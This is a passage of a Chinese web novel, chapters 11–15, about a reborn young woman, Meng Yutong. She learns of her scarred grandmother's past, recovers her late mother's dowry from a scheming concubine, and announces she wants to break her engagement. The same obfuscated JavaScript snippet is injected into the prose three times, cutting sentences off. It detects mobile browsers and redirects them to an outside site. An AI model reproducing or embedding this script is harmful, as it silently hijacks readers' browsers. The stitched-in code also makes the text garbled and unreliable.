桂嬷嬷与大胆伶俐的白芷不同,是个性子软和又爱忧心的,最怕惹事生非。 孟玉桐往后只怕还要做许多叫她担忧的事情,便想着趁着今日好好同她说明一番,也好叫她心中有些准备。 11. 第 11 章 这般想着,孟玉桐缓缓抚了抚寝衣上的褶皱,心念一动,便提步走到窗前多宝格旁,从最里层取出一套素白如雪的薄胎瓷茶具。 那茶具釉色温润,胎壁薄如蝉翼,透光可见,是难得的精品。 她执起小巧的提梁壶,将滚沸的茶水注入其中一只茶盏,清亮的茶汤在莹白的瓷壁间荡漾开碧色涟漪。 她伸出手指,轻轻点着那温润微烫的杯沿,声音清润,不急不缓:“嬷嬷且看这茶盏。父亲当年带回时,千叮万嘱,道是此物金贵异常,受不得滚烫,亦经不起磕碰。 “我便将它束之高阁,视若珍宝,唯恐有失。” 她的目光落在稳稳盛着沸水的茶盏上,“可今日看来,它似乎比想象中坚韧得多。” 茶水滚烫,白瓷透亮,未见有什么异样。 袅袅茶烟氤氲升腾,模糊了孟玉桐的面容,唯有一双眸子在雾气后亮得惊人,如寒潭映星,清冽而深邃。 她拈起那盏热茶,稳稳送至桂嬷嬷面前,唇边漾开一抹清浅笑意:“器物若因畏碎而永蒙尘垢,岂非辜负了它存在的本意? “倒不如物尽其用,盛尽世间冷暖滋味。纵使一朝碎裂,亦是它命定的归宿。总好过在暗匣中寂寂蒙尘,无人问津。” 她目光清亮,径直迎上桂嬷嬷忧心忡忡的眼睛:“至于日后,福祸相依,前程难料。与其忧思那未可知的明日,不如先顾好眼前这一盏茶的舒心。嬷嬷说是不是这个道理?” 桂嬷嬷一时有些愣神,望着眼前的姑娘。 她此刻卸下了白日里那繁复夸张的紫色衣裙、首饰,穿了一件素净的水蓝色软烟罗寝衣。 一头乌发松松绾就,只簪了一支桃花素银钗,几缕青丝随意垂落颈侧。 白日里那层无形的紧绷与刻意,此刻消散殆尽。整个人透出一种说不出的沉静,像是雨后的竹林,洗尽尘埃,只余下清朗本色。 那双明亮的眼睛静静地看着她,平静的表面下,桂嬷嬷却隐约感觉到一股破茧而出的力量和决心。 那是她从未在姑娘身上见过的。 她于是便想起自夫人柳氏故去这几载,姑娘仿佛给自己套上了一层厚厚的壳子,言行举止处处透着谨慎小心,唯恐行差踏错。 可近来,尤其是今日,那层厚厚的壳子从里头破开,她身上那股被压抑已久的鲜活生气,竟如初春解冻的溪流一般,汩汩地流了出来。 这样的小姐……竟然颇有几分老夫人年轻时的模样。这念头甫一出来,桂嬷嬷自己都惊了惊。 一旁的白芷听得直点头,忍不住拍手笑道:“小姐说得太对了!往后的事谁说得清?眼下的痛快才是真格的!嬷嬷您说是不是?” 看着眼前这两个年轻姑娘,一个沉静通透,一个明快爽利,桂嬷嬷心底那沉甸甸的忧虑,终最终化作唇边一道无声的叹息。 也罢……也罢。 姑娘在这府里拘束了这么些年,难得有这般松快的时候。 何况,她出阁在即,在这孟府的日子,横竖也不会太长了。且由着她自在几日吧。 见桂嬷嬷眼底的忧虑渐散,孟玉桐知道,嬷嬷至少此刻将她的话听进去了。 不过,祖母可没有嬷嬷这么好说话。她与祖母之间,只怕还有一场交锋。 孟玉桐示意白芷将那只羊脂玉葫芦仔细收好,她这才转过身,轻挽起桂嬷嬷的手臂,引着有些怔忡的桂嬷嬷往窗边走。 窗边摆着一张铺了柔软锦缎坐褥的湘妃竹软榻。孟玉桐扶着桂嬷嬷,两人一同在榻上坐了下来。 榻边小几上,一尊三足鎏金狻猊香薰正无声吞吐着缕缕青烟,烟痕袅娜,在静谧的室内蜿蜒游走。 “嬷嬷,”孟玉桐声音放轻,“我记得您原先是在祖母身边伺候的?是母亲入府后,才拨到我们杏桃院来的?” 往事如烟,桂嬷嬷望着熏香中浮动的光尘里,眼神有些悠远,像是被那烟气带回了过去。 她轻轻叹了口气:“是啊……老奴和吴嬷嬷,都是打小就跟在老夫人身边的,是她的陪房丫头。老夫人嫁入孟家时,江家老太太怕她受委屈,便将我们俩分作左右臂跟着陪嫁过来。 “后来夫人进了府,老夫人怜她一个外乡人远道而来,身边没有个知根知底、能倚重的体己人,便将老奴从她身边拨出来,送到了杏桃院。” “老夫人的性子啊……”桂嬷嬷无奈地摇摇头,带着几分叹息,“最是别扭不过。明明是桩体恤人的好事,可从她嘴里说出来,偏就能变了味儿。 “她说夫人‘刚入府,不懂规矩,没个方圆’,让老奴‘好好去调教调教’。” 孟玉桐心中微动。若论教导规矩,吴嬷嬷行事果决、手段强硬,分明比性子温软的桂嬷嬷更合适。 可祖母偏偏选了桂嬷嬷,想来是念着母亲孤身远嫁,想找个脾性温和、能贴心说话的人相伴,免得母亲在这深宅大院里太过孤寂。 祖母……的确是个难以捉摸的老太太。 祖母将自己带在身边教导规矩,教自己医术启蒙,除此之外,再没有其他的祖孙 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“老夫人啊……其实也是个苦命的人儿。她娘家江家,祖籍广陵,当年在江南丝绸行里,那也是数得上名号的大家。 “未出阁时的老夫人,可全然不是如今这般模样,那真真是……”她眯起眼,似乎在努力捕捉着久远的鲜活影像,“像一团烧得正旺、不管不顾的野火!恣意张扬,活得比谁都痛快!” 她陷入回忆,语调也染上了旧日的光彩:“她跟着老爷太太走南闯北,胆子大得能包天。一手算盘打得噼啪作响,商路账目门儿清; “还学了一身好医术,能辨百草,敢施银针;更兼有些拳脚功夫傍身,性子是出了名的爽利泼辣,快意恩仇!” “那时啊,”桂嬷嬷脸上难得浮现一丝与有荣焉的笑意,“提起江家大小姐的名号,甭管是商贾行会,还是三教九流的江湖道,谁不赞一声‘胭脂虎’?端的是个明艳如火、心气儿高过九重天的主儿!” 桂嬷嬷性子安静,鲜少有这般放声激动的时候。 孟玉桐听得心头剧震,商道、医术、快意恩仇……桂嬷嬷口中每一个词都让她意外。 桂嬷嬷口中的人,真的是祖母吗? 她忍不住倾身向前,声音有些微微发颤:“后来呢?” 这“后来”,不仅关乎祖母转变的真相,更仿佛在叩问她自己重生的另一种可能。 桂嬷嬷脸上那丝荣光渐渐黯淡下来,化作一声悠长的叹息,眼中泛起复杂的水光,“后来,一切都变了。” 12. 第 12 章 “后来……”桂嬷嬷的声音低沉下去,“老夫人从广陵老来临安看望朋友,救了一位受伤的贵公子。那位公子对老夫人一见倾心,”她重重摇头,满是惋惜与无奈,“奈何啊奈何!云泥之别,门不当,户不对!” “那公子的母亲,那位高门深宅里的贵妇主母,”桂嬷嬷的声音里带上了压抑不住的愤懑,“岂能容忍自己金尊玉贵的儿子,看上个整日抛头露面、商贾出身的女子?她使了个阴毒的法子……” 她深吸一口气,仿佛那陈年的冤屈依旧灼人:“竟在江家作为贡品进献的一批云锦上动了手脚。说那丝绸浸染剧毒,害得她自己‘身中奇毒,危在旦夕’。这泼天的祸事砸下来,江家纵是倾尽家财也赔不起这天大的罪过!眼看……眼看就要家破人亡,百年基业毁于一旦啊!” “后来江家得以脱困,”孟玉桐心头一动,几乎是脱口而出,“是否与祖母脸上那道疤有关?” 桂嬷嬷的身体猛地一颤,泪水瞬间盈满眼眶,她缓缓地、沉重地点着头:“老夫人为了救双亲,救整个风雨飘摇的江家……” 她的声音哽咽得厉害,“她……她做了件常人想都不敢想的事。用自己随身的簪子……”桂嬷嬷的手颤抖着比划了一下脸颊的位置,“亲手……狠狠地……划了下去!就在脸上!一个女子,最最要紧的容貌啊!她说毁……就毁了!” “那日下着雪,血珠溅在她红色的罗裙上,淌进雪地里,她却笑着同那贵夫人说:江云裳容貌已毁,再配不上公子,只求夫人高抬贵手,放过江家。” 孟玉桐心口猛地一缩,恍惚间,仿佛看见那个鲜衣怒马的少女,手持染血金簪,在漫天飞雪中决绝地折断了毕生的骄傲与光采。 一股冰冷的寒意窜上心口,她的手无意识地探向自己的腹部,分明已经重来,可那处好似还有隐痛。 祖母那时应该也很痛吧。 她听桂嬷嬷轻声道:“也是那一日,老太爷骑着快马从广陵赶来,当着那贵人的面说孟家与江家早有婚约,不日即将成婚,老夫人与那公子没有可能。老夫人那日攥着染血的簪子,盯着他看了许久,算是应下了这桩婚事。” “祖父与祖母是怎么回事?” 桂嬷嬷轻抚膝头磨得发亮的粗布帕子,继续道:“老太爷与老夫人原是竹马之交,偏生一个性子像春溪淌水,温润徐缓;一个恰似盛夏惊雷,凌厉张扬。可谁能料到,大祸临头时,竟是那素来温吞的人,单枪匹马闯了临安城。 “不过即便老夫人做到这份上,那位夫人还是不肯轻易罢休,非要将人留在她眼皮底下。她说,只要老夫人一辈子安生,江家便无后顾之忧。” “老太爷是个厚道人,真心敬重老夫人。举家迁往了临安。老夫人嫁来后,他倾尽家财帮江家渡过了难关。老夫人感念这份恩义,也彻底收了心。” “那些骑马、行医、走南闯北的日子,像一场梦似的,被她自己亲手掐灭了。她收起了所有张扬的性子,把从前用在商道江湖上的那股子劲儿,全用在了打理这个家上。相夫教子,规规矩矩。” 桂嬷嬷语气复杂,“老太爷待老夫人是极好的,老夫人也渐渐把这里当成了自己的归宿。那段日子,虽非始于浓情,倒也安稳和顺。可惜……老太爷福薄,去得早。” “老太爷一走,老夫人就彻底变了。” 桂嬷嬷的声音带着深深的怜惜,“她像是把最后一点热气儿也耗尽了。从前只是收敛,后来就成了现在的沉默寡言。唯有一样没变——就是守着这份家业的心,比磐石还硬。 “她经历过失去,知道风雨飘摇的滋味,所以格外看重这能遮风挡雨的家产基业,看得比命还重。那点决断和强硬,大概就是她年轻时那团火,最后剩下的一点点火星子了。” 桂嬷嬷看向孟玉桐,眼中有着过来人的通透:“姑娘啊,老夫人脸上的疤,是看得见的。可心里的那道……才是真真磨人的。” “嬷嬷可知那贵公子一家……”孟玉桐话未说完,便见桂嬷嬷猛地按住她的手,眼中闪过一丝惊惶:“姑娘莫问!有些事知道得太清楚,反而是祸。” 孟玉桐心头微凛。能让江家倾覆、让祖母不惜毁容、让桂嬷嬷这般讳莫如深,足见那“贵公子”的身份非同小可,只怕是江家当年万万招惹不起的人物。 “如此说来,”她声音放得极轻,带着一丝不易察觉的叹息,“祖母这些年守着这诺大家业,步履维艰,过得很不容易。” “谁说不是呢!”桂嬷嬷眼眶又红了,手指紧紧攥着帕子,“老夫人原指望老爷能立起来,顺顺当当接过这副担子。可……唉!” 她重重叹了口气,满是恨铁不成钢的无奈,“老爷他……那性子您是知道的!回回顶着出去谈生意的名头,一去便是三五载杳无音信,在外头花天酒地,银子流水似的淌出去,正经生意没做成几桩!叫老夫人如何敢放手? “这些年,老夫人是硬撑着这把老骨头,咬着牙苦苦支撑啊!府里那些眼皮子浅的,还背地里嚼舌根,说老夫人攥着钥匙不肯松手,贪恋这点权柄……他们哪里知道,老夫人守着这偌大家业,夜夜枕着账本难眠,一颗心就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127371|180116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没放下过!” 桂嬷嬷说到痛处,再也忍不住,用那帕子用力按了按眼角的泪:“老奴……老奴只盼着小姐往后出了阁,逢年过节能常回来看看老夫人,莫要……莫要同她生分了才好。” “嬷嬷放心,”孟玉桐仍沉浸在那段往事中,声音温淡,听不出太多情绪,只轻轻应道,“这是自然的。” “今日这番话……原是老夫人千叮万嘱,不许在老奴嘴里露半句给您的。” 桂嬷嬷压低了声音,带着几分告罪和释然,“可眼瞅着小姐大喜的日子近了,老奴这把老骨头也到了该告老还乡的时候。 “您既问起了,老奴便斗胆都说了出来,也算了了心头一件大事,往后在乡下,也能睡得安稳些。” “嬷嬷老家是在富阳县慈云岭下?”孟玉桐转过话头,适时问道。 “正是!正是!”桂嬷嬷连连点头,脸上露出一丝对故土的向往,“那地方山清水秀,气候养人!小姐日后若得了闲,定要去住上几日散散心。 “您是没瞧见,三伏天里临安城热得像个蒸笼,咱们慈云岭的山涧边,那风都是带着凉气的,晚上睡觉还得盖薄被呢!” 孟玉桐含笑颔首,目光温软。旋即,她话锋似不经意般一转,带着体贴:“对了嬷嬷,您方才说要等我出嫁后才放心告老回乡?” 孟玉桐与纪昀的婚期定在七月。 桂嬷嬷的盘算,自然是依着这个日子来的。 听孟玉桐提起,她几乎是不假思索,脱口而出:“那是自然!小姐是老奴看着长大的,若不亲眼瞧着您风风光光地出了这门,坐上花轿,老奴这颗心怎么落得回肚子里去?如何能安心回乡?” 孟玉桐眸底深处,一丝极淡却笃定的满意之色飞快划过。 她随即展露出更为温煦的笑容,自然地伸手,轻轻替桂嬷嬷理了理鬓边散落的一缕灰白头发,柔声道:“嬷嬷待我之心,阿萤明白。 “只是您年岁也大了,往后若遇上刮风下雨的天气,便安心在屋里歇着,莫要再出来奔波了。 “外头湿滑,万一磕着碰着,岂不叫人心疼?有什么事,只管吩咐底下那些腿脚灵便的小丫头子们去跑便是。” 桂嬷嬷心头一热,刚想说自己是庄稼人出身,皮实着呢,没有那么娇贵,话未出口—— “笃笃笃。” 门外恰在此时传来三声清晰而恭敬的叩门声,紧接着是小丫鬟清脆的通禀,打破了室内的温情: “禀大小姐,老夫人已回府,此刻正在松风院,请您即刻过去拜见。” 13. 第 13 章 一弯冷月悬在天际,洒下泠泠清辉。松风院的青瓦飞檐在月光下投下四方的影子。 孟玉桐踩着满地月影,穿过静得落针可闻的厅堂。 踏入正厅时,孟老夫人江云裳正端然危坐于上首一张宽大的紫檀木镶玉太师椅上。 江云裳身着玄色暗花褙子,银发梳成扁髻,仅用一支素银簪固定。脸上那道斜贯半颊的旧疤,在明明灭灭的烛影里时隐时现。 她双眼微阖,枯瘦的指节轻叩着扶手,周身弥散开的不怒自威的气势,像是张无形的网,将整个厅堂笼罩在一片沉寂之中。 下首的梨花木圈椅上,秦姨娘与孟玉柔如坐针毡。 秦姨娘一身半旧的藕荷色细葛罗裙,宽大的粉缎袖口严严实实遮着手腕,恭谨坐着。 孟玉柔则紧紧揪着裙角,带着几分不安,偷偷抬眼觑向上方那尊冷肃的身影。 “祖母万安。”孟玉桐敛衽行礼,动作间暗紫色的裙裾如水般铺展在地。 江云裳的目光落在她腰间那片刺眼的大金色牡丹团花,瞳孔微缩,只略一抬手,示意她坐到东侧的玫瑰椅上。 “今日是怎么回事?”江云裳的声音冰冷,“我轿子刚到垂花门,便听得门房禀报,道是纪府那头的事外头已传得沸反盈天。” 她端坐着,目光好似带着无形压迫,“秦氏,你来说说。” 秦姨娘慌忙起身,下意识托了托手腕,忙道:“母亲莫听外人胡说,今日两个孩子去纪家参加了纪夫人寿宴,哪有什么事?若是有也不过是两姐妹闹了几句,哪里需要惊动母亲呢。” 孟玉柔见状也跟着起身,突然拔高声音,“今日……今日姐姐也不知怎么了,当着一众夫人的面哭哭啼啼,她们还以为我姨娘苛待了她……” “柔儿!住口!”秦秦姨娘急得掐了她手臂一把,腕间两只沉甸甸的赤金点翠嵌红宝手钏猛地相撞,发出一串刺耳的“叮当”脆响。 孟玉柔吃痛,委屈地扁了嘴,恨恨剜了孟玉桐一眼,终是住了声,只余下胸脯因气恼而剧烈起伏。 江云裳缓缓摩挲着太师椅扶手上的松鹤纹路,脸上神情在摇曳的昏黄烛光下愈发显得莫测。 孟玉桐隐约感受到了祖母的一丝不悦。 “祖母”,她动作缓缓从玫瑰椅上起身,再次屈膝朝江云裳福了福身,步履轻移间,腰间悬的一只羊脂玉小葫芦忽撞上另一枚碧玉双鱼佩,叮然迸出碎冰似的清响,在安静的厅堂里格外清晰。 她指尖飞快覆上玉葫芦,待将佩饰拨到腰侧,才抬眸续道:“今日纪夫人寿宴,孙女与玉柔妹妹一同前往贺寿。妹妹奉上贺礼后,许是身子有些不适,便先行回府了。确无甚大事发生。” 她话音才落,一旁的孟玉柔忽地冲身上前,一把扯下她腰间的玉葫芦,怒道:“这不是我送纪夫人的贺礼么?怎么会在你这里?” 她将那葫芦紧紧攥在手心,胸前起伏不定,抬头望向江云裳时,眼中瞬间蓄满了泪水,声音带着哭腔和控诉:“祖母!您看,这就是我精心挑选送给纪夫人的贺礼!怎会在姐姐身上? “定是她……定是她趁人不备偷偷拿了回来!祖母!您可要为孙女做主啊!姐姐便是再厌憎于我,也不该在纪家做出这等下作之事,平白丢了我们孟家的脸面啊!” 江云裳眸色平静,未说话。 秦姨娘一听女儿哭诉,不疑有他,立刻上前揽住孟玉柔,腕间金钏又是一阵急响。 她脸上瞬间堆满了痛心疾首,声音也跟着染上哭腔:“桐儿就算是眼红柔儿的贺礼得了纪夫人青睐,也不该做这等偷鸡摸狗的勾当,当真是败坏了门风了。” 孟玉桐对着母女二人的指责与哭嚎,一声也未辩解,只微微咬着下唇,纤薄的肩背绷得笔直,仿佛承受着无形的重压。 目光却紧紧胶着在那枚被孟玉柔紧紧攥住的玉葫芦上,眼眶渐渐泛起一层薄红。 便在此时,吴嬷嬷脚步匆匆自外间掀帘而入,行至江云裳身侧,俯身贴近,以帕掩口低语了数句。 江云裳眸光微寒,倏然凝向阶下秦氏母女,“这玉葫芦是柳氏的嫁妆?” 这一问,如冷水泼头,登时将底下那抽抽噎噎、做足了委屈姿态的母女二人噎得哑口无言。 秦姨娘捏着素绢帕子的手紧了紧,在眼角虚虚按了两下,声音陡然弱了三分,带着几分刻意的不确定:“这……竟是夫人的嫁妆?” 她忙不迭从孟玉柔手中取过那枚玲珑剔透的羊脂白玉葫芦,迎着屋内煌煌烛火,煞有介事地左右端详。 烛光流转于温润玉质之上,映出葫芦外圈显眼的花木纹。 她忽地甩了甩帕子,干笑一声,那笑声在静默的厅堂里显得格外突兀:“哎哟,这些年府中一应吃穿用度皆由妾身操持,库房里各房的物事早混在一处。 “妾身连自己的嫁妆匣子都记不清锁在哪个角落了,如何还能分得清哪件是夫人的?” 话音甫落,她话锋一转,看向孟玉桐,语气复又强硬起来:“再说了,”她拔高了几分音调,“纵使这是夫人的东西,咱们府里正经送出去的贺礼,桐姐儿也没有私下里偷摸拿回来的道理!这可是脸面!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127372|180116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是纪夫人亲赐予我的。”孟玉桐抬起头,声音低柔却清晰,两行清泪恰到好处地沿着莹白面颊滑落。 宛如梨花带雨,端的是委屈可怜,惹人怜惜。 孟玉柔哪里肯信,柳眉倒竖,娇声斥道:“姐姐休要信口胡诌!我将这礼呈给纪夫人时,她分明赞不绝口,喜爱得紧,怎会转头就给了你?姐姐既敢做下这等事,如何不敢当呢!” 孟玉桐拭去泪痕,平静反问:“敢问妹妹一句,这礼纪夫人收下后,置于何处?” “自然是摆在正厅最显眼的八仙桌中央!”孟玉柔不假思索,语气带着几分自得。 “即是如此,”孟玉桐微微颔首,语调依旧平缓,“今日正厅贺寿宾客如云,我连那桌边都未曾靠近,若非纪夫人亲手将此物赐下,我如何在满堂贵客的眼皮子底下,神不知鬼不觉地将它取走呢?” “这……你……定是你用了什么鬼蜮伎俩偷摸拿走的!”孟玉柔被问得一噎,脸上涨红,气势虽凶却已显理亏,犹自嘴硬。 她实在不信,得了纪夫人夸赞的礼物,如何转眼就到了孟玉桐手里。 “好了!”江云裳屈起指节,在身侧黄花梨木小几上不轻不重地叩了两下。 声音不大,却带着威严,几人立时噤声,厅堂内瞬间针落可闻。 秦姨娘眼见势头不对,脸上立刻堆起慈和的笑意。 她快步上前,捧起孟玉桐的手,将那枚玉葫芦郑重放回她掌心,又轻轻拍了拍她的手背,温言道: “原是误会一场!既然纪夫人看重,将此物赏赐给了桐儿,桐儿便好生收着,也算是个体面。” 她话锋圆滑地一转,将责任轻飘飘带过,“也是姨娘疏忽了,往后定当仔细些,再不敢将你娘亲的旧物混入库中。” 孟玉桐顺势接过玉葫芦,亦回握住秦姨娘的手,抬起泪光盈盈的眸子望着她,声音带着几分哽咽:“桐儿多谢姨娘体恤。” 秦姨娘被她这一眼瞧得心头突地一跳,莫名有些心虚,竟愣了一瞬。 动作间,身上那件藕荷色杭绸广袖衫滑下半寸,露出一对明晃晃的赤金点翠嵌红宝手钏,在满室烛火的映照下,折射出炫目流光。 孟玉桐目光落在那一抹金玉之色上,微微倾身,伸出手虚虚托起秦姨娘的手腕。 指尖并未真正触碰那金钏,声音里带着几分讶异,眼中却是冰冷一片, “姨娘,这副手钏,桐儿恍惚记得,仿佛是母亲生前心爱之物,时常戴在腕间的。怎的……”她抬眼,眸中清澈,带着疑惑,“竟到了姨娘手上?” 14. 第 14 章 秦姨娘瞬时如遭火烙,猛地抽回手,宽大的袖摆瞬间垂落,严严实实盖住腕间那片金色。 “桐儿定是瞧岔了,”她语速飞快,强笑道,“你母亲的东西,我、我怎会随意戴在身上?想是样式相近罢了。” 孟玉桐敛眸,掩去眼底深处那一掠而过的讥诮,顺从地轻声道:“兴许是桐儿思念母亲心切,一时眼花了罢。” 她不再纠缠于此,抬首望向端坐于上首的江云裳,声音里带上几分孺慕与哀戚,“不过祖母,近日来,桐儿总被梦魇所扰。 “梦中每每见到母亲,她形容凄楚,言道去得太早,不能亲眼看着女儿出嫁,心中甚憾。唯有那些陪嫁之物,是她早早留下,聊作陪伴之意……” 她微微一顿,复又看向秦姨娘,语气恳切温顺:“姨娘这些年操持府中庶务,事无巨细,劳心劳力,桐儿看在眼里,实在心疼。 “如今我婚期将近,也该学着理事,为姨娘分忧才是。桐儿想着,不若将母亲留下的嫁妆清点出来,暂且挪回杏桃院由我亲自看管。 “一则全了桐儿思母之心,二则也能为姨娘省去些功夫,不知姨娘意下如何?” 秦姨娘心头警铃大作,面上却只能挤出更温和的笑意,连连摆手:“哎哟,这如何使得!都是一家人,说什么分不分、省不省的? “你的东西,姨娘替你看着,还不是应当应分的?不劳烦,一点儿也不劳烦!” 江云裳自始至终端坐榻上,手搭在太师椅扶手上,轻轻点着。 今夜她将众人唤来这松风院,开口不过寥寥数句,大半时间只是沉默。 然而那双眼睛却锐利幽深,不动声色地扫视着阶下众人,仿佛能穿透一切虚饰,直抵人心。 在这般极具压迫感的注视下,饶是孟玉桐心中早有成算,也不由自主地紧了紧袖中的手指。 自纪府归来,她便料到必有此一遭。故而特意换上白日里秦姨娘送来的那身浓艳扎眼的大紫金线牡丹纹锦缎衣裙,又“不经意”地将孟玉柔赠予的玉葫芦佩于腰间。 方才在祖母询问纪府之事时,更是半真半假,语焉不详,替那对母女遮掩了几分。 如此种种示弱、顺从、甚至略显笨拙的举动,不过是她深谙这府中几人的脾性,以退为进罢了。 她所求的,只有拿回母亲柳氏留下的嫁妆。 她从前并不在意这些,从前的她,在祖母跟前,不曾有过半分“自己想要”的念头。 她只知道,祖母让她做的,她才能做;祖母未提过的,她想也不能想。 祖母便是她在这世间唯一的浮木与依靠,她唯有全身心地倚赖她,小心翼翼地按照她心中“完美闺秀”的模子去雕琢自己,不敢行差踏错半步,唯恐惹得祖母失望。 如今一切重来,她此时的心境已大有不同。 将一生的希望与悲喜,尽数寄托于他人身上,无论那人是谁,都是世间最痴愚不过的事。 人活于世,须得明白心之所向,力之所往。想要的,便自己去争;想做的,便自己去做。如此,方不负重来的一生。 思及此,孟玉桐心中再无半分犹疑。 她并未理会秦姨娘那番虚伪的推脱之词,挺直了纤细的背脊,目光迎向江云裳那道深不可测的视线,一字一句清晰地重复道:“祖母,桐儿想要亲自打理母亲的嫁妆。” 在临安城开一间像样的医馆,所费不赀。母亲的嫁妆,是她眼下唯一能抓住的依仗。 江云裳并未立刻回应她关于嫁妆的请求,那道沉沉的视线反而落在了孟玉桐身上那件极不合其气质的浓艳紫衣上。 她眉梢蹙了一下,声音听不出喜怒,“桐丫头,祖母记得,你最是厌弃这浓紫之色,嫌其俗艳压人。身上这一件是谁替你挑的?” 孟玉桐闻言,并未立即作答,只微微侧首,目光极快地掠过一旁脸色微变的秦姨娘,随即垂下眼睫,沉默不语。 一切,尽在不言中。 秦姨娘被那无声的一瞥刺得心头又是一跳,下意识地托了托手腕,仿佛想借那沉甸甸的金钏压下不安。 她脸上挤出几分尴尬的笑意,对着上首的江云裳解释道:“母亲明鉴,这身衣裳是妾身瞧着桐姐儿平日穿戴过于素净。 “想着纪府寿宴是何等体面场合,咱们孟家的姑娘,总该……总该拾掇得大方明艳些,才不堕了门楣名声不是?” 孟玉桐似乎听见上首传来一声极轻的嗤笑,轻得几不可闻。 直到瞧见江云裳脸上那道疤也跟着极其细微地向上牵扯了一下。她这才确信,祖母方才,是真的笑了。 “秦姨娘,”江云裳的声音平缓无波,手指在扶手上起伏的节奏依旧,“桐丫头方才说得不错。这些年,你打理这府中庶务,确、实、辛、苦、了。” “辛苦那自然是有一点的,”秦姨娘得了这“夸赞”,眉梢眼角的尴尬瞬间被一丝自得取代。 她抬手按了按鬓角新簪的步摇,语调都轻快了几分,“不过这么多年下来,妾身也都习惯了。母亲您这样说,倒显得生分了。” 她浸淫内宅多年,与银钱俗物纠缠不休,只余下那份自诩读过诗书的莫名孤高,至于话里的弦外之音、机锋暗藏,却早已迟钝得听不分明了。 “既如此,”江云裳手指微微一顿,目光冷冷地瞧着秦姨娘,“你这两日便将库房里柳氏留下的嫁妆,比着当年的嫁妆单子,一件一件,仔仔细细地清点出来,全数挪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127373|180116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到杏桃院去。桐丫头要学理事,便从她娘的东西开始。” “啊?!”秦姨娘脸上那点刚扬起的得意之色倏然消散,化作一片惊惶,“这……母亲,这……夫人的嫁妆在库房里存了这些年,只怕……只怕一时半刻难以理清头绪啊!” “这点事都办不利索,”江云裳眉峰微蹙,声音陡然沉下,“你还能掌得起这个家?” “不!妾身不是这个意思!母亲——”秦姨娘脸色煞白,急切地上前两步,还想分辨。 江云裳却已不胜其烦,抬手按了按额角,眉间倦怠之色难掩。 侍立一旁的吴嬷嬷心领神会,立刻上前,半是搀扶半是强硬地将秦姨娘往外带:“秦姨娘,老夫人今日乏了,您同二小姐且先回去歇息吧。” 话音未落,已是不由分说地将人半推着送出了门。 孟玉柔左右看看,对上祖母冷肃的目光,心头一慌,匆匆福了一礼,也忙不迭地跟着她母亲退了出去。 眼见那对母女消失在门帘后,孟玉桐一直悬着的心,才终于沉沉落回实处。 她知道,祖母素来厌烦内宅这些琐碎纷争。 这偌大的孟府,除了祖父留下的基业是她心中唯一重要的事,其余人事,在她眼中不过是过眼云烟。 所以,即便秦姨娘行事拖沓、眼光浅薄,并非掌家良选,祖母也乐得将庶务丢给她,只要别出大差错,她也图个眼不见心不烦。 今日在纪府的小小风波,她刻意示弱,引而不发,方才在松风院的言语交锋,她以退为进,步步为营。 祖母洞悉世事,如何看不穿她这点小心思? 若真惹得祖母不悦,她非但拿不回母亲的嫁妆,恐怕还要落个心机深沉、不识大体的印象。 所幸,有惊无险。 然而……孟玉桐下意识地攥紧了掌心那枚冰冷的玉葫芦。 葫芦身上繁复的花草纹路,此刻仿佛带着棱角,深深硌进她的皮肉里,带来一阵清晰而尖锐的痛。 她深深吸了一口气,仿佛要将最后一丝顾虑也彻底从胸中挤出去。 随即,她霍然抬头,迎向那道深邃莫测的视线,清晰地说道: “祖母,阿萤还有一事,需禀明祖母。” 她顿了顿,字字稳稳落下: “孙女想同纪家退婚。” 话音落下的瞬间,屋里烛台上那簇跳动的火苗,像是被无形的手拨了一下,骤然一晃,随即窜起,燃得比先前更亮、更烈。 那骤然而起的火光,倒是将江云裳脸上的那道旧疤映照得愈发清晰冷硬了。 厅堂中再无任何声息,孟玉桐只听见自己胸腔里那颗心,在一片寂静中一下,又一下跳动的清晰声响。 15. 第 15 章 吴嬷嬷刚把秦氏母女送出去,便立马折身回了正厅。 厅堂中气氛不太对劲,大姑娘与老夫人一站一坐,似在无言对峙。 恰在此时,她听见孟玉桐又重复了一遍:“孙女想同纪家退婚。” 吴嬷嬷步子一顿,压下惊得乱跳的眉头,快步回到江云裳座旁,偷偷瞧着她的神色。 只见江云裳未身形未动,她的右手搭在太师椅扶手上,食指正以一种毫无节律的的速度飞快地点叩着。 哒、哒、哒…… 敲击声急促细密,听得人胸中堵滞。 吴嬷嬷瞧着那只手,神色忧虑。 老夫人这右手从前落下的旧伤。 那时柳氏病势汹汹,老夫人恰在西南采购药材,她得了信,为赶时间押着药材冒险走了水路。 途中遇上悍匪,老夫人为护住药材,竟亲自提刀与匪徒搏杀。 